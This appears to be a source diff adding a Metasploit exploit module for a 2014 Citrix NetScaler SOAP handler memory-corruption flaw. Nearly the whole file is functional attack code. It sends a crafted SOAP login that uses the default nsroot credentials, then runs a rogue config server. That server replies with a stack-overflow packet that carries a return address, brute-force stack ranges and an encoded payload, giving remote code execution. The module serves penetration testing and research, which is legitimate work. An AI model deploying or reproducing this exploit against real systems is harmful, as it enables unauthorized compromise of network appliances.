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| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = NormalRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::Remote::TcpServer |
| 13 | + include Msf::Exploit::Brute |
| 14 | + |
| 15 | + def initialize(info={}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => "Citrix NetScaler SOAP Handler Remote Code Execution", |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits a memory corruption vulnerability on the Citrix NetScaler Appliance. |
| 20 | + The vulnerability exists in the SOAP handler, accessible through the web interface. A |
| 21 | + malicious SOAP requests can force the handler to connect to a malicious NetScaler config |
| 22 | + server. This malicious config server can send a specially crafted response in order to |
| 23 | + trigger a memory corruption and overwrite data in the stack, to finally execute arbitrary |
| 24 | + code with the privileges of the web server running the SOAP handler. This module has been |
| 25 | + tested successfully on the NetScaler Virtual Appliance 450010. |
| 26 | + }, |
| 27 | + 'License' => MSF_LICENSE, |
| 28 | + 'Author' => |
| 29 | + [ |
| 30 | + 'Bradley Austin', # Vulnerability Discovery and PoC |
| 31 | + 'juan vazquez' # Metasploit module |
| 32 | + ], |
| 33 | + 'References' => |
| 34 | + [ |
| 35 | + ['URL', 'http://console-cowboys.blogspot.com/2014/09/scaling-netscaler.html'] |
| 36 | + ], |
| 37 | + 'Payload' => |
| 38 | + { |
| 39 | + 'Space' => 1024, |
| 40 | + 'MinNops' => 512, |
| 41 | + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 |
| 42 | + }, |
| 43 | + 'Arch' => ARCH_X86, |
| 44 | + 'Platform' => 'bsd', |
| 45 | + 'Stance' => Msf::Exploit::Stance::Aggressive, |
| 46 | + 'Targets' => |
| 47 | + [ |
| 48 | + [ 'NetScaler Virtual Appliance 450010', |
| 49 | + { |
| 50 | + 'RwPtr' => 0x80b9000, # apache2 rw address / Since this target is a virtual appliance, has sense. |
| 51 | + 'Offset' => 606, |
| 52 | + 'Ret' => 0xffffda94, # Try before bruteforce... |
| 53 | + # The virtual appliance lacks of security mitigations like DEP/ASLR, since the |
| 54 | + # process being exploited is an apache child, the bruteforce attack works fine |
| 55 | + # here. |
| 56 | + 'Bruteforce' => |
| 57 | + { |
| 58 | + 'Start' => { 'Ret' => 0xffffec00 }, # bottom of the stack |
| 59 | + 'Stop' => { 'Ret' => 0xfffdf000 }, # top of the stack |
| 60 | + 'Step' => 256 |
| 61 | + } |
| 62 | + } |
| 63 | + ], |
| 64 | + ], |
| 65 | + 'DisclosureDate' => "Sep 22 2014", |
| 66 | + 'DefaultTarget' => 0)) |
| 67 | + |
| 68 | + register_options( |
| 69 | + [ |
| 70 | + OptString.new('TARGETURI', [true, 'The base path to the soap handler', '/soap']), |
| 71 | + OptAddress.new('SRVHOST', [true, "The local host to listen on. This must be an address on the local machine reachable by the target", ]), |
| 72 | + OptPort.new('SRVPORT', [true, "The local port to listen on.", 3010]) |
| 73 | + ], self.class) |
| 74 | + end |
| 75 | + |
| 76 | + |
| 77 | + def check |
| 78 | + res = send_request_cgi({ |
| 79 | + 'method' => 'GET', |
| 80 | + 'uri' => normalize_uri(target_uri.path) |
| 81 | + }) |
| 82 | + |
| 83 | + if res && res.code == 200 && res.body && res.body =~ /Server Request Handler.*No body received/m |
| 84 | + return Exploit::CheckCode::Detected |
| 85 | + end |
| 86 | + |
| 87 | + Exploit::CheckCode::Unknown |
| 88 | + end |
| 89 | + |
| 90 | + def exploit |
| 91 | + if ['0.0.0.0', '127.0.0.1'].include?(datastore['SRVHOST']) |
| 92 | + fail_with(Failure::BadConfig, 'Bad SRVHOST, use an address on the local machine reachable by the target') |
| 93 | + end |
| 94 | + |
| 95 | + if check != Exploit::CheckCode::Detected |
| 96 | + fail_with(Failure::NoTarget, "#{peer} - SOAP endpoint not found") |
| 97 | + end |
| 98 | + |
| 99 | + start_service |
| 100 | + |
| 101 | + if target.ret |
| 102 | + @curr_ret = target.ret |
| 103 | + send_request_soap |
| 104 | + Rex.sleep(3) |
| 105 | + |
| 106 | + if session_created? |
| 107 | + return |
| 108 | + end |
| 109 | + end |
| 110 | + |
| 111 | + super |
| 112 | + end |
| 113 | + |
| 114 | + def brute_exploit(addrs) |
| 115 | + @curr_ret = addrs['Ret'] |
| 116 | + send_request_soap |
| 117 | + end |
| 118 | + |
| 119 | + def send_request_soap |
| 120 | + soap = <<-EOS |
| 121 | +<?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"> |
| 122 | +<SOAP-ENV:Body> |
| 123 | +<ns7744:login xmlns:ns7744="urn:NSConfig"> |
| 124 | +<username xsi:type="xsd:string">nsroot</username> |
| 125 | +<password xsi:type="xsd:string">nsroot</password> |
| 126 | +<clientip xsi:type="xsd:string">#{datastore['SRVHOST']}</clientip> |
| 127 | +<cookieTimeout xsi:type="xsd:int">1800</cookieTimeout> |
| 128 | +<ns xsi:type="xsd:string">#{datastore['SRVHOST']}</ns> |
| 129 | +</ns7744:login> |
| 130 | +</SOAP-ENV:Body> |
| 131 | +</SOAP-ENV:Envelope> |
| 132 | + EOS |
| 133 | + |
| 134 | + print_status("#{peer} - Sending soap request...") |
| 135 | + |
| 136 | + send_request_cgi({ |
| 137 | + 'method' => 'POST', |
| 138 | + 'uri' => normalize_uri(target_uri.path), |
| 139 | + 'data' => soap |
| 140 | + }, 1) |
| 141 | + end |
| 142 | + |
| 143 | + def on_client_data(c) |
| 144 | + print_status("#{c.peerhost} - Getting request...") |
| 145 | + |
| 146 | + data = c.get_once(2) |
| 147 | + req_length = data.unpack("v")[0] |
| 148 | + |
| 149 | + req_data = c.get_once(req_length - 2) |
| 150 | + unless req_data.unpack("V")[0] == 0xa5a50000 |
| 151 | + print_error("#{c.peerhost} - Incorrect request... sending payload anyway") |
| 152 | + end |
| 153 | + |
| 154 | + print_status("#{c.peerhost} - Sending #{payload.encoded.length} bytes payload with ret 0x#{@curr_ret.to_s(16)}...") |
| 155 | + |
| 156 | + my_payload = Rex::Text.pattern_create(target['Offset']) |
| 157 | + my_payload << [@curr_ret, target['RwPtr']].pack("V*") |
| 158 | + my_payload << payload.encoded |
| 159 | + |
| 160 | + pkt = [my_payload.length + 6].pack("v") |
| 161 | + pkt << "\x00\x00\xa5\xa5" |
| 162 | + pkt << my_payload |
| 163 | + c.put(pkt) |
| 164 | + c.disconnect |
| 165 | + end |
| 166 | + |
| 167 | +end |
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